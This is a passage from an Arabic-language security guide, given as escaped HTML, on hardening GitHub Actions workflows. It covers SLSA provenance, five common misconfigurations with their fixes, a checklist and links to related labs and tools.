\u0627\u0644\u0646\u0627\u062a\u062c \u0641\u064a \u0633\u062c\u0644 \u0634\u0641\u0627\u0641\u064a\u0629 (Rekor)\u060c \u0645\u0645\u0627 \u064a\u0648\u0641\u0651\u0631 \u0633\u062c\u0644\u064b\u0627 \u0642\u0627\u0628\u0644\u064b\u0627 \u0644\u0644\u062a\u062f\u0642\u064a\u0642 \u064a\u062b\u0628\u062a \u0623\u0646 workflow \u0645\u0639\u064a\u0646\u064b\u0627 \u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639 \u0645\u0639\u064a\u0646 \u0642\u062f \u0623\u0646\u062a\u062c \u0645\u062e\u0631\u062c\u064b\u0627 \u0645\u0639\u064a\u0646\u064b\u0627.<\/p>\n\n<h3 class=\"wp-block-heading\">\u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0646\u0634\u0623 \u0639\u0628\u0631 SLSA<\/h3>\n\n<p class=\"wp-block-paragraph\">\u064a\u0648\u0641\u0651\u0631 SLSA (Supply-chain Levels for Software Artifacts) \u0625\u0637\u0627\u0631\u064b\u0627 \u0644\u0636\u0645\u0627\u0646 \u0633\u0644\u0627\u0645\u0629 \u0627\u0644\u0628\u0646\u0627\u0621. \u0648\u064a\u0648\u0644\u0651\u062f \u0625\u062c\u0631\u0627\u0621 GitHub \u0627\u0644\u0631\u0633\u0645\u064a <code>actions\/attest-build-provenance<\/code> \u0625\u062b\u0628\u0627\u062a\u0627\u062a \u0645\u0646\u0634\u0623 SLSA \u062a\u0633\u062c\u0651\u0644 \u0628\u0627\u0644\u0636\u0628\u0637 \u0643\u064a\u0641 \u0628\u064f\u0646\u064a \u0627\u0644\u0645\u062e\u0631\u064e\u062c \u2014 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0645\u0635\u062f\u0631\u060c \u0648\u0627\u0644\u0640 commit\u060c \u0648\u0627\u0644\u0628\u0627\u0646\u064a (builder)\u060c \u0648\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0628\u0646\u0627\u0621.<\/p>\n\n<p class=\"wp-block-paragraph\">\u064a\u062c\u064a\u0628 \u0625\u062b\u0628\u0627\u062a \u0645\u0646\u0634\u0623 SLSA \u0639\u0646 \u0627\u0644\u0633\u0624\u0627\u0644: &#8220;\u0647\u0644 \u0623\u0633\u062a\u0637\u064a\u0639 \u0625\u062b\u0628\u0627\u062a \u0623\u0646 \u0647\u0630\u0627 \u0627\u0644\u0645\u062e\u0631\u064e\u062c \u0628\u064f\u0646\u064a \u0645\u0646 \u0647\u0630\u0647 \u0627\u0644\u0634\u064a\u0641\u0631\u0629 \u0627\u0644\u0645\u0635\u062f\u0631\u064a\u0629 \u0628\u0648\u0627\u0633\u0637\u0629 \u0646\u0638\u0627\u0645 CI\/CD \u0647\u0630\u0627\u061f&#8221; \u0648\u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u0623\u064a \u0645\u0624\u0633\u0633\u0629 \u062c\u0627\u062f\u0629 \u0628\u0634\u0623\u0646 \u0623\u0645\u0646 \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f\u060c \u064a\u0646\u0628\u063a\u064a \u0623\u0646 \u064a\u0643\u0648\u0646 \u0625\u062b\u0628\u0627\u062a \u0627\u0644\u0645\u0646\u0634\u0623 \u062c\u0632\u0621\u064b\u0627 \u0645\u0646 \u0643\u0644 workflow \u0625\u0635\u062f\u0627\u0631.<\/p>\n\n<p class=\"wp-block-paragraph\">\u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u062e\u0628\u0631\u0629 \u0639\u0645\u0644\u064a\u0629 \u0641\u064a \u062a\u0648\u0642\u064a\u0639 \u0627\u0644\u062d\u0627\u0648\u064a\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Cosign \u0636\u0645\u0646 \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI\/CD\u060c \u0631\u0627\u062c\u0639 \u0645\u062e\u062a\u0628\u0631 \u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u0628\u0640 Cosign. \u0648\u0644\u062a\u0637\u0628\u064a\u0642 \u062a\u0648\u0644\u064a\u062f \u0625\u062b\u0628\u0627\u062a \u0645\u0646\u0634\u0623 SLSA \u0648\u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646\u0647\u060c \u0627\u0639\u0645\u0644 \u0639\u0644\u0649 \u0645\u062e\u062a\u0628\u0631 \u0625\u062b\u0628\u0627\u062a \u0645\u0646\u0634\u0623 SLSA.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0623\u0634\u064a\u0639 \u0623\u062e\u0637\u0627\u0621 \u0627\u0644\u0625\u0639\u062f\u0627\u062f: \u0627\u0644\u062e\u0645\u0633\u0629 \u0627\u0644\u0623\u0648\u0644\u0649<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0628\u0639\u062f \u062a\u062f\u0642\u064a\u0642 \u0645\u0626\u0627\u062a \u0645\u0646 workflows \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 GitHub Actions\u060c \u0647\u0630\u0647 \u0647\u064a \u0623\u062e\u0637\u0627\u0621 \u0627\u0644\u0625\u0639\u062f\u0627\u062f \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u062e\u0645\u0633\u0629 \u0627\u0644\u0623\u0643\u062b\u0631 \u0634\u064a\u0648\u0639\u064b\u0627 \u0627\u0644\u062a\u064a \u0646\u0635\u0627\u062f\u0641\u0647\u0627:<\/p>\n\n<h3 class=\"wp-block-heading\">1. \u063a\u064a\u0627\u0628 \u0643\u062a\u0644\u0629 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u0640 workflows \u0627\u0644\u062a\u064a \u0644\u0627 \u062a\u062a\u0636\u0645\u0646 \u0643\u062a\u0644\u0629 <code>permissions:<\/code> \u0635\u0631\u064a\u062d\u0629 \u062a\u0631\u062b \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0631\u0645\u0632 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0644\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u2014 \u0648\u0647\u064a \u0639\u0627\u062f\u0629\u064b \u0642\u0631\u0627\u0621\u0629\/\u0643\u062a\u0627\u0628\u0629 \u0644\u0643\u0644 \u0634\u064a\u0621. \u0648\u0647\u0630\u0627 \u064a\u0646\u062a\u0647\u0643 \u0645\u0628\u062f\u0623 \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632 \u0627\u0644\u0623\u062f\u0646\u0649 \u0648\u064a\u0639\u0638\u0651\u0645 \u0646\u0637\u0627\u0642 \u0627\u0644\u0636\u0631\u0631 \u0644\u0623\u064a \u0627\u062e\u062a\u0631\u0627\u0642.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>\u0627\u0644\u062d\u0644:<\/strong> \u0623\u0636\u0650\u0641 \u0643\u062a\u0644\u0629 <code>permissions: read-all<\/code> \u0639\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0623\u0639\u0644\u0649 \u0623\u0648 \u0643\u062a\u0644\u0629 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u062f\u0642\u064a\u0642\u0629 \u0625\u0644\u0649 \u0643\u0644 \u0645\u0644\u0641 workflow.<\/p>\n\n<h3 class=\"wp-block-heading\">2. \u0625\u062c\u0631\u0627\u0621\u0627\u062a \u062e\u0627\u0631\u062c\u064a\u0629 \u063a\u064a\u0631 \u0645\u062b\u0628\u0651\u062a\u0629<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0631\u0627\u062c\u0639 \u0627\u0644\u0648\u0633\u0648\u0645 \u0645\u062b\u0644 <code>@v4<\/code> \u0623\u0648 <code>@main<\/code> \u0644\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 \u064a\u0639\u0631\u0651\u0636\u0643 \u0644\u0647\u062c\u0645\u0627\u062a \u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f. \u0641\u0625\u0630\u0627 \u0627\u062e\u062a\u064f\u0631\u0642 \u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u060c \u064a\u0633\u062a\u0637\u064a\u0639 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u0648\u0646 \u062f\u0641\u0639 \u0634\u064a\u0641\u0631\u0629 \u062e\u0628\u064a\u062b\u0629 \u062a\u062d\u062a \u0627\u0644\u0640 tag \u0627\u0644\u062d\u0627\u0644\u064a.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>\u0627\u0644\u062d\u0644:<\/strong> \u062b\u0628\u0651\u062a \u062c\u0645\u064a\u0639 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u0640 commit SHA \u0627\u0644\u0643\u0627\u0645\u0644. \u0648\u0627\u0633\u062a\u062e\u062f\u0645 Dependabot \u0644\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u062a\u062d\u062f\u064a\u062b\u0627\u062a.<\/p>\n\n<h3 class=\"wp-block-heading\">3. \u062d\u0642\u0646 \u0627\u0644\u062a\u0639\u0627\u0628\u064a\u0631 \u0641\u064a \u0643\u062a\u0644 run:<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0625\u062f\u0631\u0627\u062c \u0642\u064a\u0645 \u0627\u0644\u0633\u064a\u0627\u0642 \u0627\u0644\u062a\u064a \u064a\u062a\u062d\u0643\u0645 \u0628\u0647\u0627 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0645\u0628\u0627\u0634\u0631\u0629\u064b (\u0639\u0646\u0627\u0648\u064a\u0646 \u0627\u0644\u0640 PRs\u060c \u0648\u0646\u0635\u0648\u0635 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a\u060c \u0648\u0623\u0633\u0645\u0627\u0621 \u0627\u0644\u0641\u0631\u0648\u0639) \u0641\u064a \u062e\u0637\u0648\u0627\u062a <code>run:<\/code> \u064a\u062a\u064a\u062d \u062a\u0646\u0641\u064a\u0630 \u0623\u0648\u0627\u0645\u0631 \u0639\u0634\u0648\u0627\u0626\u064a\u0629.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>\u0627\u0644\u062d\u0644:<\/strong> \u0645\u0631\u0651\u0631 \u062f\u0627\u0626\u0645\u064b\u0627 \u0642\u064a\u0645 \u0627\u0644\u0633\u064a\u0627\u0642 \u063a\u064a\u0631 \u0627\u0644\u0645\u0648\u062b\u0648\u0642\u0629 \u0639\u0628\u0631 \u0645\u062a\u063a\u064a\u0631\u0627\u062a \u0627\u0644\u0628\u064a\u0626\u0629.<\/p>\n\n<h3 class=\"wp-block-heading\">4. \u0627\u0633\u062a\u062e\u062f\u0627\u0645 pull_request_target \u063a\u064a\u0631 \u0627\u0644\u0622\u0645\u0646<\/h3>\n\n<p class=\"wp-block-paragraph\">\u0633\u062d\u0628 \u0648\u062a\u0646\u0641\u064a\u0630 \u0634\u064a\u0641\u0631\u0629 \u0645\u0646 \u0631\u0623\u0633 \u0627\u0644\u0640 PR \u0641\u064a workflow \u0645\u0646 \u0646\u0648\u0639 <code>pull_request_target<\/code> \u064a\u0645\u0646\u062d \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0648\u0635\u0648\u0644\u064b\u0627 \u0625\u0644\u0649 \u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0648\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0643\u062a\u0627\u0628\u0629.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>\u0627\u0644\u062d\u0644:<\/strong> \u0644\u0627 \u062a\u0633\u062d\u0628 \u0623\u0628\u062f\u064b\u0627 <code>github.event.pull_request.head.sha<\/code> \u0641\u064a workflows \u0645\u0646 \u0646\u0648\u0639 <code>pull_request_target<\/code>. \u0627\u0633\u062a\u062e\u062f\u0645 \u0646\u0645\u0637 \u0627\u0644\u0640 workflow \u0627\u0644\u0645\u0632\u062f\u0648\u062c \u0628\u062f\u0644\u064b\u0627 \u0645\u0646 \u0630\u0644\u0643.<\/p>\n\n<h3 class=\"wp-block-heading\">5. \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u0633\u062d\u0627\u0628\u064a\u0629 \u0637\u0648\u064a\u0644\u0629 \u0627\u0644\u0639\u0645\u0631 \u0643\u0623\u0633\u0631\u0627\u0631<\/h3>\n\n<p class=\"wp-block-paragraph\">\u062a\u062e\u0632\u064a\u0646 \u0645\u0641\u0627\u062a\u064a\u062d \u0648\u0635\u0648\u0644 AWS\u060c \u0623\u0648 \u0645\u0644\u0641 JSON \u0644\u062d\u0633\u0627\u0628 \u062e\u062f\u0645\u0629 GCP\u060c \u0623\u0648 \u0623\u0633\u0631\u0627\u0631 \u0639\u0645\u064a\u0644 Azure \u0643\u0623\u0633\u0631\u0627\u0631 \u0644\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0623\u0648 \u0627\u0644\u0645\u0624\u0633\u0633\u0629 \u064a\u062e\u0644\u0642 \u062a\u0639\u0631\u064a\u0636\u064b\u0627 \u062f\u0627\u0626\u0645\u064b\u0627 \u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f. \u0641\u0625\u0630\u0627 \u0633\u064f\u0631\u0651\u0628\u062a \u0647\u0630\u0647 \u0627\u0644\u0623\u0633\u0631\u0627\u0631\u060c \u064a\u062d\u0635\u0644 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0639\u0644\u0649 \u0648\u0635\u0648\u0644 \u0637\u0648\u064a\u0644 \u0627\u0644\u0623\u0645\u062f \u0625\u0644\u0649 \u0645\u0648\u0627\u0631\u062f\u0643 \u0627\u0644\u0633\u062d\u0627\u0628\u064a\u0629.<\/p>\n\n<p class=\"wp-block-paragraph\"><strong>\u0627\u0644\u062d\u0644:<\/strong> \u0627\u0633\u062a\u0628\u062f\u0644 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u062b\u0627\u0628\u062a\u0629 \u0628\u0627\u062a\u062d\u0627\u062f \u0647\u0648\u064a\u0629 \u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644 \u0639\u0628\u0631 OIDC. \u0641\u0644\u0627 \u0648\u062c\u0648\u062f \u0644\u0623\u0633\u0631\u0627\u0631 \u062a\u064f\u0633\u0631\u064e\u0642 \u064a\u0639\u0646\u064a \u0639\u062f\u0645 \u062a\u0639\u0631\u064a\u0636 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f.<\/p>\n\n<h2 class=\"wp-block-heading\">\u0642\u0627\u0626\u0645\u0629 \u062a\u062d\u0642\u0642 \u0644\u0644\u062a\u0637\u0628\u064a\u0642<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0627\u0633\u062a\u062e\u062f\u0645 \u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u062a\u062d\u0642\u0642 \u0647\u0630\u0647 \u0644\u062a\u0642\u0648\u064a\u0629 workflows \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 GitHub Actions \u0628\u0634\u0643\u0644 \u0645\u0646\u0647\u062c\u064a. \u064a\u0631\u062a\u0628\u0637 \u0643\u0644 \u0628\u0646\u062f \u0628\u0642\u0633\u0645 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062f\u0644\u064a\u0644:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><strong>\u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a:<\/strong> \u0627\u0636\u0628\u0637 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0631\u0645\u0632 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u0644\u0644\u0645\u0624\u0633\u0633\u0629\/\u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0639\u0644\u0649 \u0627\u0644\u0642\u0631\u0627\u0621\u0629 \u0641\u0642\u0637.<\/li>\n<li><strong>\u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a:<\/strong> \u0623\u0636\u0650\u0641 \u0643\u062a\u0644 <code>permissions:<\/code> \u0635\u0631\u064a\u062d\u0629 \u0625\u0644\u0649 \u0643\u0644 workflow \u0648\u0648\u0638\u064a\u0641\u0629.<\/li>\n<li><strong>\u0627\u0644\u062a\u062b\u0628\u064a\u062a:<\/strong> \u062b\u0628\u0651\u062a \u062c\u0645\u064a\u0639 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u0640 commit SHA \u0627\u0644\u0643\u0627\u0645\u0644.<\/li>\n<li><strong>\u0627\u0644\u062a\u062b\u0628\u064a\u062a:<\/strong> \u0627\u0636\u0628\u0637 Dependabot \u0644\u0645\u0646\u0638\u0648\u0645\u0629 <code>github-actions<\/code>.<\/li>\n<li><strong>\u0627\u0644\u0623\u0633\u0631\u0627\u0631:<\/strong> \u0627\u0646\u062a\u0642\u0644 \u0645\u0646 \u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0625\u0644\u0649 \u0623\u0633\u0631\u0627\u0631 \u0627\u0644\u0628\u064a\u0626\u0629 \u0645\u0639 \u0642\u0648\u0627\u0639\u062f \u0627\u0644\u062d\u0645\u0627\u064a\u0629.<\/li>\n<li><strong>\u0627\u0644\u0623\u0633\u0631\u0627\u0631:<\/strong> \u062f\u0642\u0651\u0642 \u062c\u0645\u064a\u0639 workflows \u0645\u0646 \u0646\u0648\u0639 <code>pull_request_target<\/code> \u0628\u062d\u062b\u064b\u0627 \u0639\u0646 \u0623\u0646\u0645\u0627\u0637 checkout \u063a\u064a\u0631 \u0622\u0645\u0646\u0629.<\/li>\n<li><strong>OIDC:<\/strong> \u0627\u0633\u062a\u0628\u062f\u0644 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0627\u0639\u062a\u0645\u0627\u062f \u0627\u0644\u0633\u062d\u0627\u0628\u064a\u0629 \u0627\u0644\u062b\u0627\u0628\u062a\u0629 \u0628\u0627\u062a\u062d\u0627\u062f \u0647\u0648\u064a\u0629 \u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644 \u0639\u0628\u0631 OIDC.<\/li>\n<li><strong>OIDC:<\/strong> \u0627\u0636\u0628\u0637 \u0645\u0631\u0634\u0651\u062d\u0627\u062a \u0645\u0637\u0627\u0644\u0628\u0629 \u0627\u0644\u0645\u0648\u0636\u0648\u0639 (subject claim) \u0644\u062a\u0642\u064a\u064a\u062f \u0646\u0637\u0627\u0642 \u0627\u0644\u0631\u0645\u0632 (\u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639\u060c \u0648\u0627\u0644\u0641\u0631\u0639\u060c \u0648\u0627\u0644\u0628\u064a\u0626\u0629).<\/li>\n<li><strong>\u0627\u0644\u0640 Runners:<\/strong> \u062a\u0623\u0643\u062f \u0645\u0646 \u0623\u0646 \u0627\u0644\u0640 runners \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0632\u0627\u0626\u0644\u0629 (\u0627\u0633\u062a\u062e\u062f\u0645 ARC \u0623\u0648 \u0645\u0627 \u0634\u0627\u0628\u0647).<\/li>\n<li><strong>\u0627\u0644\u0640 Runners:<\/strong> \u0644\u0627 \u062a\u064f\u0633\u0646\u0650\u062f \u0623\u0628\u062f\u064b\u0627 runners \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0645\u0633\u062a\u0648\u062f\u0639\u0627\u062a \u0639\u0627\u0645\u0629.<\/li>\n<li><strong>\u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a:<\/strong> \u0637\u0628\u0651\u0642 \u0642\u0627\u0626\u0645\u0629 \u0633\u0645\u0627\u062d \u0645\u0624\u0633\u0633\u064a\u0629 \u0644\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a.<\/li>\n<li><strong>\u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a:<\/strong> \u062f\u0642\u0651\u0642 \u062c\u0645\u064a\u0639 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 \u0642\u0628\u0644 \u0627\u0644\u0645\u0648\u0627\u0641\u0642\u0629 \u0639\u0644\u064a\u0647\u0627.<\/li>\n<li><strong>\u0627\u0644\u062d\u0642\u0646:<\/strong> \u0627\u0641\u062d\u0635 \u062c\u0645\u064a\u0639 \u0627\u0644\u0640 workflows \u0628\u062d\u062b\u064b\u0627 \u0639\u0646 <code>${{<\/code> \u0641\u064a \u0643\u062a\u0644 <code>run:<\/code> \u0648\u0639\u0627\u0644\u0650\u062c \u0646\u0648\u0627\u0642\u0644 \u0627\u0644\u062d\u0642\u0646.<\/li>\n<li><strong>\u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f:<\/strong> \u0637\u0628\u0651\u0642 \u062a\u0648\u0642\u064a\u0639 \u0627\u0644\u0645\u062e\u0631\u062c\u0627\u062a \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Cosign\/Sigstore.<\/li>\n<li><strong>\u0633\u0644\u0633\u0644\u0629 \u0627\u0644\u062a\u0648\u0631\u064a\u062f:<\/strong> \u0648\u0644\u0651\u062f \u0625\u062b\u0628\u0627\u062a \u0645\u0646\u0634\u0623 SLSA \u0644\u0645\u062e\u0631\u062c\u0627\u062a \u0627\u0644\u0625\u0635\u062f\u0627\u0631.<\/li>\n<li><strong>\u0627\u0644\u0640 Linting:<\/strong> \u0623\u0636\u0650\u0641 <code>actionlint<\/code> \u0648<code>zizmor<\/code> \u0625\u0644\u0649 \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI \u0644\u062f\u064a\u0643 \u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u0645\u0634\u0643\u0644\u0627\u062a \u062a\u0644\u0642\u0627\u0626\u064a\u064b\u0627.<\/li>\n<li><strong>\u0627\u0644\u0628\u064a\u0626\u0627\u062a:<\/strong> \u0627\u0633\u062a\u062e\u062f\u0645 \u0628\u064a\u0626\u0627\u062a GitHub \u0645\u0639 \u0645\u0631\u0627\u062c\u0650\u0639\u064a\u0646 \u0645\u0637\u0644\u0648\u0628\u064a\u0646 \u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u0646\u0634\u0631 \u0627\u0644\u0625\u0646\u062a\u0627\u062c\u064a\u0629.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">\u0645\u062e\u062a\u0628\u0631\u0627\u062a \u0630\u0627\u062a \u0635\u0644\u0629<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0627\u0644\u0646\u0638\u0631\u064a\u0629 \u0648\u062d\u062f\u0647\u0627 \u0644\u0627 \u062a\u0643\u0641\u064a. \u0637\u0628\u0651\u0642 \u0645\u0627 \u062a\u0639\u0644\u0651\u0645\u062a\u0647 \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0645\u062e\u062a\u0628\u0631\u0627\u062a \u0627\u0644\u0639\u0645\u0644\u064a\u0629:<\/p>\n\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-hardening-github-actions-workflows-permissions-pinning-secrets\/\">\u0627\u0644\u0645\u062e\u062a\u0628\u0631: \u062a\u0642\u0648\u064a\u0629 workflows \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 GitHub Actions \u2014 \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0648\u0627\u0644\u062a\u062b\u0628\u064a\u062a \u0648\u0627\u0644\u0623\u0633\u0631\u0627\u0631<\/a> \u2014 \u0637\u0628\u0651\u0642 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u0627\u0645\u062a\u064a\u0627\u0632 \u0627\u0644\u0623\u062f\u0646\u0649\u060c \u0648\u0627\u0644\u062a\u062b\u0628\u064a\u062a \u0639\u0628\u0631 SHA\u060c \u0648\u0627\u0644\u062a\u0639\u0627\u0645\u0644 \u0627\u0644\u0622\u0645\u0646 \u0645\u0639 \u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0641\u064a workflow \u062d\u0642\u064a\u0642\u064a.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-configuring-oidc-workload-identity-github-actions-aws\/\">\u0627\u0644\u0645\u062e\u062a\u0628\u0631: \u0636\u0628\u0637 \u0647\u0648\u064a\u0629 \u0623\u0639\u0628\u0627\u0621 \u0627\u0644\u0639\u0645\u0644 \u0639\u0628\u0631 OIDC \u0628\u064a\u0646 GitHub Actions \u0648AWS<\/a> \u2014 \u0623\u0639\u062f\u0651 \u0645\u0635\u0627\u062f\u0642\u0629 \u0645\u0646 \u062f\u0648\u0646 \u0645\u0641\u0627\u062a\u064a\u062d \u0628\u064a\u0646 GitHub Actions \u0648AWS \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u062a\u062d\u0627\u062f OIDC.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-ephemeral-self-hosted-runners-actions-runner-controller\/\">\u0627\u0644\u0645\u062e\u062a\u0628\u0631: runners \u0632\u0627\u0626\u0644\u0629 \u0630\u0627\u062a\u064a\u0629 \u0627\u0644\u0627\u0633\u062a\u0636\u0627\u0641\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Actions Runner Controller<\/a> \u2014 \u0627\u0646\u0634\u0631 ARC \u0639\u0644\u0649 Kubernetes \u0644\u062a\u0634\u063a\u064a\u0644 runners \u0622\u0645\u0646\u0629 \u0648\u0632\u0627\u0626\u0644\u0629 \u0644\u0640 CI\/CD.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis\/\">\u0627\u0644\u0645\u062e\u062a\u0628\u0631: \u0643\u0634\u0641 \u0625\u062c\u0631\u0627\u0621\u0627\u062a GitHub \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0639\u0628\u0631 \u0627\u0644\u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0633\u0627\u0643\u0646<\/a> \u2014 \u0627\u0633\u062a\u062e\u062f\u0645 \u0623\u062f\u0648\u0627\u062a \u0627\u0644\u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0633\u0627\u0643\u0646 \u0644\u062a\u062d\u062f\u064a\u062f \u0627\u0644\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u0645\u0631\u064a\u0628\u0629 \u0648\u0627\u0644\u0633\u0644\u0648\u0643 \u0627\u0644\u062e\u0628\u064a\u062b \u0641\u064a \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629.<\/li>\n<li><a href=\"https:\/\/secure-pipelines.com\/ar\/ci-cd-security\/github-actions-security-cheat-sheet\/\">\u0648\u0631\u0642\u0629 GitHub Actions \u0627\u0644\u0645\u0631\u062c\u0639\u064a\u0629 \u0644\u0644\u0623\u0645\u0627\u0646<\/a> \u2014 \u0645\u0631\u062c\u0639 \u0633\u0631\u064a\u0639 \u0644\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u062f\u0646\u064a\u0627\u060c \u0648\u0627\u0644\u0623\u0646\u0645\u0627\u0637 \u0627\u0644\u0622\u0645\u0646\u0629\u060c \u0648\u0627\u0644\u0645\u0632\u0627\u0644\u0642 \u0627\u0644\u0634\u0627\u0626\u0639\u0629.<\/li>\n<\/ul>\n\n<h2 class=\"wp-block-heading\">\u0623\u062f\u0648\u0627\u062a \u0644\u0623\u0645\u0646 GitHub Actions<\/h2>\n\n<p class=\"wp-block-paragraph\">\u0623\u062a\u0645\u0650\u062a \u0641\u0631\u0636 \u0627\u0644\u0623\u0645\u0627\u0646 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0647\u0630\u0647 \u0627\u0644\u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629:<\/p>\n\n<h3 class=\"wp-block-heading\">actionlint<\/h3>\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/rhysd\/actionlint\" target=\"_blank\" rel=\"noopener\">actionlint<\/a> \u0623\u062f\u0627\u0629 \u062a\u062d\u0644\u064a\u0644 \u0633\u0627\u0643\u0646 \u0644\u0645\u0644\u0641\u0627\u062a workflow \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 GitHub Actions. \u062a\u0644\u062a\u0642\u0637 \u0623\u062e\u0637\u0627\u0621 